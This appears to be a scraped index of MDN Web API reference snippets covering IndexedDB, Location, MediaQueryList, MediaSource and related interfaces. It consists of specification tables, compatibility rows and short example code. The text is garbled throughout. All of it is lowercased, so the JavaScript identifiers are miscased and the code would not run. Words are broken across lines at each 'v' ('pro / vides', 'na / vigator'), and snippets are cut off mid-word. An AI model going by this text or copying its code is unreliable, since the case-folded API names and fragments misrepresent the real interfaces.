ving standard html5the definition of 'htmltemplateelement interface' in that specification.
HTMLTextAreaElement.labels - Web APIs
</textarea> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const textarea = document.getelementbyid("test"); for(var i = 0; i < textarea.labels.length; i++) { console.log(textarea.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html li
ving standardthe definition of 'labels' in that specification.
... li
ving standard no change html5the definition of 'labels' in that specification.
HTMLTimeElement.dateTime - Web APIs
p12dt7h12m13.455s pt7h12m13s pt7h12m13.2s pt7h12m13.56s pt7h12m13.999s 7d 5h 24m 13s syntax datetimestring = timeelt.datetime; timeelt.datetime = datetimestring example // assumes there is <time id="t"> element in the html var t = document.getelementbyid("t"); t.datetime = "6w 5h 34m 5s"; specifications specification status comment html li
ving standardthe definition of 'htmltimeelement' in that specification.
... li
ving standard no change from html 5.1.
HTMLTrackElement.src - Web APIs
example // coming soon specifications specification status comment html li
ving standardthe definition of 'htmltrackelement.src' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmltrackelement.src' in that specification.
History.length - Web APIs
syntax const length = history.length specifications specification status comment html li
ving standardthe definition of 'history.length' in that specification.
... li
ving standard no change from html5.
IDBCursor.continuePrimaryKey() - Web APIs
a typical use case, is to resume the iteration where a pre
vious cursor has been closed, without ha
ving to compare the keys one by one.
... example here’s how you can resume an iteration of all articles tagged with "javascript" since your last
visit: let request = articlestore.index("tag").opencursor(); let count = 0; let unreadlist = []; request.onsuccess = (event) => { let cursor = event.target.result; if (!cursor) { return; } let lastprimarykey = getlastiteratedarticleid(); if (lastprimarykey > cursor.primarykey) { cursor.continueprimarykey("javascript", lastprimarykey); return; } // update lastiter...
IDBCursor.request - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestchrome full support 76edge full support 79firefox full support 77ie no support noopera full support ...
... web
view android full support 76chrome android full support 76firefox android no support noopera android full support 54safari ios ?
IDBDatabase.close() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclosechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBDatabase.objectStoreNames - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorenameschrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 1...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBDatabase.onabort - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonabortchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBDatabase.onclose - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonclosechrome full support 31notes full support 31notes notes approxedge full support ≤18firefox full support 50ie ?
... opera full support yessafari full support 10.1web
view android full support yeschrome android full support 31firefox android full support 50opera android full support yessafari ios full support 10.3samsung internet android full support 2.0legend full support full support compatibility unknown ...
IDBDatabase.onerror - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerrorchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBDatabase.onversionchange - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonversionchangechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBDatabase.version - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetversionchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBDatabaseSync - Web APIs
method over
view idbobjectstoresync createobjectstore (in domstring name, in domstring keypath, in optional boolean autoincrement) raises (idbdatabaseexception); idbobjectstoresync openobjectstore (in domstring name, in optional unsigned short mode) raises (idbdatabaseexception); void removeobjectstore (in domstring storename) raises (idbdatabaseexception); void setversion (in ...
... exceptions this method can raise an idbdatabaseexception with the following code: timeout_err if reser
ving all the database objects identified in storenames takes longer than the timeout interval.
IDBFactory.cmp() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcmpchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBFactory.deleteDatabase() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeletedatabasechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12f...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBFactorySync - Web APIs
the idbfactorysync interface of the indexeddb api pro
vide a synchronous means of accessing the capabilities of indexed databases.
... method over
view idbdatabasesync open (in domstring name, in domstring description, in optional boolean modifydatabase) raises (idbdatabaseexception); methods open() opens and returns a connection to a database.
IDBIndexSync - Web APIs
the idbindexsync interface of the indexeddb api pro
vides synchronous access to an index in a database.
... method over
view any add (in any value, in optional any key) raises (idbdatabaseexception); any get (in any key) raises (idbdatabaseexception); any getobject (in any key) raises (idbdatabaseexception); void opencursor (in optional idbkeyrange range, in optional unsigned short direction) raises (idbdatabaseexception); void openobjectcursor (in optional idbkeyrange range, in optional unsigned short direction) raises (idbdatabaseexception); any put (in any value, in optional any key) raises (idbdatabaseexception); void remove (in any key) raises (idbdatabaseexception); attributes attribute type description keypath readonly domstring the key path of this index.
IDBKeyRange.includes() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetincludeschrome full support 52edge full support ≤18firefox full support 47ie ?
... opera full support 39safari full support 10.1web
view android full support 52chrome android full support 52firefox android full support yesopera android full support 41safari ios full support 10.3samsung internet android full support 6.0legend full support full support compatibility unknown ...
FileHandle.name - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... summary pro
vides the name of the file.
FileHandle.type - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... summary pro
vides the mime type of the file.
IDBMutableFile - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... summary the idbmutablefile interface pro
vides access in read or write mode to a file, dealing with all the necessary locks.
IDBObjectStore.getAll() - Web APIs
that method pro
vides a cursor if the record exists, and no cursor if it does not.
... dataerror the key or key range pro
vided contains an invalid key or is null.
IDBObjectStore.getAllKeys() - Web APIs
that method pro
vides a cursor if the record exists, and no cursor if it does not.
... dataerror the key or key range pro
vided contains an invalid key or is null.
IDBObjectStore.openCursor() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetopencursorchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firef...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBOpenDBRequest: blocked event - Web APIs
teindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher re
vision version const req2 = indexeddb.open('todolist', 5); // in this case the onblocked handler will be executed req2.addeventlistener('blocked', () => { console.log('request was blocked'); }); }; using the onblocked property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.resul...
...teindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher re
vision version const req2 = indexeddb.open('todolist', 5); // in this case the onblocked handler will be executed req2.onblocked = () => { console.log('request was blocked'); }; }; ...
IDBTransaction.objectStoreNames - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorenameschrome full support 48edge full support ≤79firefox full support yesie ?
... opera full support 35safari full support yesweb
view android full support 48chrome android full support 48firefox android full support yesopera android full support 35safari ios full support yessamsung internet android full support 5.0legend full support full support compatibility unknown ...
IDBTransaction.commit() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcommitchrome full support 76edge full support 79firefox full support 74ie no support noopera full support ...
... 63safari no support noweb
view android full support 76chrome android full support 76firefox android no support noopera android full support 54safari ios no support nosamsung internet android full support 12.0legend full support full support no support no support ...
IDBTransactionSync - Web APIs
the idbtransactionsync interface of the indexeddb api pro
vides a synchronous transaction on a database.
... method over
view void abort() raises (idbdatabaseexception); void commit() raises (idbdatabaseexception); idbobjectstoresync objectstore(in domstring name) raises (idbdatabaseexception); attributes attribute type description db idbdatabasesync the database connection that this transaction is associated with.
IDBVersionChangeEvent.oldVersion - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoldversionchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firef...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBVersionChangeEvent.version - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetversion deprecatednon-standardchrome full support 12edge full support ≤18firefox full support 16 full support 16 full...
... support 10prefixed prefixed implemented with the vendor prefix: mozie no support noopera no support nosafari no support noweb
view android full support yeschrome android full support 18firefox android full support 22opera android full support 22safari ios no support nosamsung internet android full support 1.0legend full support ...
IDBVersionChangeRequest.setVersion() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetversion deprecatednon-standardchrome no support noedge no support nofirefox no support noie no support noopera no su...
...pport nosafari no support noweb
view android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support nolegend no support no supportnon-standard.
IIRFilterNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetiirfilternode() constructorchrome full support 55notes full support 55notes notes before version 59, the default values were not supported.edge full support ≤79firefox ...
... web
view android full support 55notes full support 55notes notes before version 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before version 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ...
ImageBitmap.close() - Web APIs
var bitmap = offscreen.transfertoimagebitmap(); // imagebitmap { width: 256, height: 256 } bitmap.close(); // imagebitmap { width: 0, height: 0 } -- disposed specifications specification status comment html li
ving standardthe definition of 'close()' in that specification.
... li
ving standard ...
ImageBitmap.height - Web APIs
specifications specification status comment html li
ving standardthe definition of 'imagebitmap.height' in that specification.
... li
ving standard initial definition.
ImageBitmap.width - Web APIs
specifications specification status comment html li
ving standardthe definition of 'imagebitmap.height' in that specification.
... li
ving standard initial definition.
ImageCapture.getPhotoCapabilities() - Web APIs
this example also shows how the imagecapture object is created using a mediastreamtrack retrieved from a de
vice's mediastream.
... const input = document.queryselector('input[type="range"]'); var imagecapture; na
vigator.mediade
vices.getusermedia({
video: true}) .then(mediastream => { document.queryselector('
video').srcobject = mediastream; const track = mediastream.get
videotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specificatio...
ImageData.data - Web APIs
specification specification status comment html li
ving standardthe definition of 'imagedata.data' in that specification.
... li
ving standard initial definition.
ImageData.height - Web APIs
let imagedata = new imagedata(200, 100); console.log(imagedata.height); // 100 specification specification status comment html li
ving standardthe definition of 'imagedata.height' in that specification.
... li
ving standard initial definition.
ImageData.width - Web APIs
let imagedata = new imagedata(200, 100); console.log(imagedata.width); // 200 specification specification status comment html li
ving standardthe definition of 'imagedata.width' in that specification.
... li
ving standard initial definition.
ImageData - Web APIs
specifications specification status comment html li
ving standardthe definition of 'imagedata' in that specification.
... li
ving standard ...
InstallEvent.activeWorker - Web APIs
the activeworker read-only property of the installevent interface returns the ser
viceworker that is currently actively controlling the page.
... syntax var myactiveworker = event.activeworker value a ser
viceworker object.
InstallTrigger - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... over
view for very simple installations, the install methods on the installtrigger object may be all that's needed in the installation script.
IntersectionObserver.unobserve() - Web APIs
the intersectionobserver method unobserve() instructs the intersectionobserver to stop obser
ving the specified target element.
... syntax intersectionobserver.unobserve(target); parameters target the element to cease obser
ving.
IntersectionObserverEntry.target - Web APIs
syntax var target = intersectionobserverentry.target; value the intersectionobserverentry's target property specifies which element pre
viously targeted by calling intersectionobserver.observe() experienced a change in intersection with the root.
... function intersectioncallback(entries) { entries.foreach(function(entry) { entry.target.opacity = entry.intersectionratio; }); } to see a more concrete example, take a look at handling intersection changes in timing element
visibility with the intersection observer api.
Keyboard.getLayoutMap() - Web APIs
the getlayoutmap() method of the keyboard interface returns a promise that resolves with an instance of keyboardlayoutmap which is a map-like object with functions for retrie
ving the strings associated with specific physical keys.
... var keyboard = na
vigator.keyboard; keyboard.getlayoutmap() .then(keyboardlayoutmap => { var upkey = keyboardlayoutmap.get('keyw'); window.alert('press ' + upkey + ' to move up.'); }) specifications specification status comment keyboard mapthe definition of 'getlayoutmap()' in that specification.
KeyboardEvent.getModifierState() - Web APIs
"accel"
virtual modifier note: the "accel"
virtual modifier has been effectively deprecated in current drafts of the dom3 events specification.
... getmodifierstate() also accepts a deprecated
virtual modifier named "accel".
KeyboardEvent.initKeyboardEvent() - Web APIs
syntax kbdevent.initkeyboardevent(typearg, canbubblearg, cancelablearg,
viewarg, chararg, keyarg, locationarg, modifierslistarg, repeat) parameters typearg the type of keyboard event; this will be one of keydown, keypress, or keyup.
...
viewarg the windowproxy it is associated to.
KeyframeEffect - Web APIs
keyframeeffect.iterationcomposite gets and sets the iteration composite operation for resol
ving the property value changes of this keyframe effect.
... keyframeeffect.composite gets and sets the composite operation property for resol
ving the property value changes between this and other keyframe effects.
LargestContentfulPaint - Web APIs
the largestcontentfulpaint interface of the largest contentful paint api pro
vides details about the largest image or text paint before user input on a web page.
... addeventlistener('
visibilitychange', function fn() { if (lcp && document.
visibilitystate === 'hidden') { console.log('lcp:', lcp); removeeventlistener('
visibilitychange', fn, true); } }, true); } catch (e) { // do nothing if the browser doesn't support this api.
LayoutShiftAttribution - Web APIs
the layoutshiftattribution interface of the layout instability api pro
vides debugging information about elements which have shifted.
... layoutshiftattribution.pre
viousrect returns a domrect representing the position of the element before the shift.
Location: hash - Web APIs
syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/location.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html li
ving standardthe definition of 'hash' in that specification.
... li
ving standard initial definition ...
Location: host - Web APIs
host == "developer.mozilla.org" anchor.href = "https://developer.mozilla.org:443/location.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/location.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment html li
ving standardthe definition of 'host' in that specification.
... li
ving standard initial definition ...
Location: hostname - Web APIs
syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html li
ving standardthe definition of 'hostname' in that specification.
... li
ving standard initial definition.
Location: origin - Web APIs
syntax string = object.origin; examples // on this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification status comment html li
ving standardthe definition of 'origin' in that specification.
... li
ving standard initial definition.
Location: pathname - Web APIs
syntax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/location.pathname' specifications specification status comment html li
ving standardthe definition of 'pathname' in that specification.
... li
ving standard initial definition.
Location: port - Web APIs
syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/location.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html li
ving standardthe definition of 'location.port' in that specification.
... li
ving standard initial definition.
Location: protocol - Web APIs
syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/location.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html li
ving standardthe definition of 'protocol' in that specification.
... li
ving standard initial definition.
Location: reload() - Web APIs
syntax location.reload(); specifications specification status comment html li
ving standardthe definition of 'location.reload()' in that specification.
... li
ving standard no change from html5.
Locks.mode - Web APIs
lockmanager is the object returned by na
vigator.locks.
... // should show "exclusive" (the default) na
vigator.locks.request("my_resource", show_lock_properties); // should show "exclusive" na
vigator.locks.request("my_resource", {mode: "exclusive"}, show_lock_properties); // should show "shared" na
vigator.locks.request("my_resource", {mode: "shared"}, show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'mode' in that specification.
Locks.name - Web APIs
lockmanager is the object returned by na
vigator.locks.
... na
vigator.locks.request("net_db_sync", show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'name' in that specification.
LockManager - Web APIs
the lockmanager interface of the the web locks api pro
vides methods for requesting a new lock object and querying for an existing lock object.
... to get an instance of lockmanager, call na
vigator.locks.
LockedFile.getMetadata() - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
...the following metadata are supported: size : will pro
vide the size of the file lastmodified : will pro
vide the date when the file was last modified return a filerequest object.
LockedFile.mode - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... summary the mode property pro
vides the read/write status of the lockedfile file.
LockedFile.readAsArrayBuffer() - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... summary the readasarraybuffer method is used to read the content of the lockedfile object and pro
vide the result of that reading as an arraybuffer.
LockedFile.readAsText() - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... summary the readastext method is used to read the content of the lockedfile object and pro
vide the result of that reading as a string.
LockedFile - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... summary the lockedfile interface pro
vides tools to deal with a given file with all the necessary locks.
MIDIConnectionEvent - Web APIs
this occurs any time a new port becomes available, or when a pre
viously available port becomes unavailable.
... for example, this event is fired whenever a midi de
vice is either plugged in to or unplugged from a computer.
MIDIMessageEvent - Web APIs
a midimessage event is fired every time a midi message is sent from a de
vice represented by a midiinput, for example when a midi keyboard key is pressed, a knob is tweaked, or a slider is moved.
... examples // printing all messages to console na
vigator.requestmidiaccess().then(midiaccess => { array.from(midiaccess.inputs).foreach(input => { input[1].onmidimessage = console.log; }) }); specifications specification status comment web midi apithe definition of 'midimessageevent' in that specification.
MSCandidateWindowHide - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the handler of this event will see that the iscandidatewindow
visible method returns false, and no clientrect object is returned from getcandidatewindowclientrect.
MSCandidateWindowUpdate - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... mscandidatewindowupdate fires after the input method editor (ime) candidate window has been identified as needing to change size, but before any
visual updates have rendered.
MSGraphicsTrust - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the msgraphicstrust() constructor returns an object that pro
vides properties for info on protected
video playback.
MSSiteModeEvent - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... mssitemodeevent pro
vides event properties that are specific to pinned site events.
MediaKeyMessageEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20...
...may be one of license-request, license-renewal, license-release, or indi
vidualization-request.
MediaKeySystemAccess - Web APIs
the mediakeysystemaccess interface of the encryptedmediaextensions api pro
vides access to a key system for decryption and/or a content protection pro
vider.
... you can request an instance of this object using the na
vigator.requestmediakeysystemaccess() method.
MediaMetadata.MediaMetadata() - Web APIs
example the following example creates a new media session and assigns action handlers to it: if ('mediasession' in na
vigator){ na
vigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); na
vigator.mediasession.setactionhandler('play', function() {}); na
vigator.mediasession.setactionhandler('pause', function() {}); na
vigator.mediasession.setactionhandler('seekbackward', function() {...
...}); na
vigator.mediasession.setactionhandler('seekforward', function() {}); na
vigator.mediasession.setactionhandler('pre
vioustrack', function() {}); na
vigator.mediasession.setactionhandler('nexttrack', function() {}); } specifications specification status comment media session standardthe definition of 'mediametadata()' in that specification.
MediaPositionState - Web APIs
its contents can be used by the user agent to pro
vide a user interface displaying information about the playback position and duration of the media currently being performed.
... properties duration a floating-point value gi
ving the total duration of the current media in seconds.
MediaQueryList.addListener() - Web APIs
examples var para = document.queryselector('p'); var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the
viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the
viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifica...
...tions specification status comment css object model (cssom)
view modulethe definition of 'addlistener' in that specification.
MediaQueryList.matches - Web APIs
examples this example detects
viewport orientation changes by creating a media query using the orientation media feature: function addmqlistener(mq, callback) { if (mq.addeventlistener) { mq.addeventlistener("change", callback); } else { mq.addlistener(callback); } } addmqlistener(window.matchmedia("(orientation:landscape)"), event => { if (event.matches) { /* now in landscape orientation */ } els...
...e { /* now in portrait orientation */ } } ); specifications specification status comment css object model (cssom)
view modulethe definition of 'matches' in that specification.
MediaQueryList.removeListener() - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the
viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the
viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); // later ...
...on, when it is no longer needed mql.removelistener(screentest); specifications specification status comment css object model (cssom)
view modulethe definition of 'removelistener' in that specification.
MediaQueryListEvent.matches - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the
viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the
viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specific...
...ations specification status comment css object model (cssom)
view modulethe definition of 'matches' in that specification.
MediaQueryListEvent.media - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the
viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the
viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } console.log(e.media); } mql.addlistener(screentest); specifications specificatio...
...n status comment css object model (cssom)
view modulethe definition of 'media' in that specification.
MediaQueryListEvent - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the
viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the
viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifica...
...tions specification status comment css object model (cssom)
view modulethe definition of 'mediaquerylistevent' in that specification.
MediaRecorder.start() - Web APIs
each time a blob is filled up to that point (the timeslice duration or the end-of-media, if no slice duration was pro
vided), a dataavailable event is sent to the mediarecorder with the recorded data.
...this may be the case, for example, with sources obtained using getusermedia() when the user denies permission to use an input de
vice.
MediaSettingsRange - Web APIs
the mediasettingsrange interface of the the mediastream image capture api pro
vides the possible range and value size of photocapabilities.imageheight and photocapabilities.imagewidth.
... const input = document.queryselector('input[type="range"]'); var imagecapture; na
vigator.mediade
vices.getusermedia({
video: true}) .then(mediastream => { document.queryselector('
video').srcobject = mediastream; const track = mediastream.get
videotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min = photocapabilities.imagewidth.min...
MediaSource.activeSourceBuffers - Web APIs
the activesourcebuffers read-only property of the mediasource interface returns a sourcebufferlist object containing a subset of the sourcebuffer objects contained within sourcebuffers — the list of objects pro
viding the selected
video track, enabled audio tracks, and shown/hidden text tracks.
... example the following snippet is based on a simple example written by nick desaulniers (
view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); console.log(mediasource.activesourcebuffers); // will contain the source buffer that was added above, // as it is selected for playing in the
video player
vide...
MediaSource.addSourceBuffer() - Web APIs
example the following snippet is from a simple example written by nick desaulniers (
view the full demo live, or download the source for further investigation.) var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = '
video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.
...readystate); // closed
video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream();
video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'addsourcebuffer()' in that specification.
MediaSource.duration - Web APIs
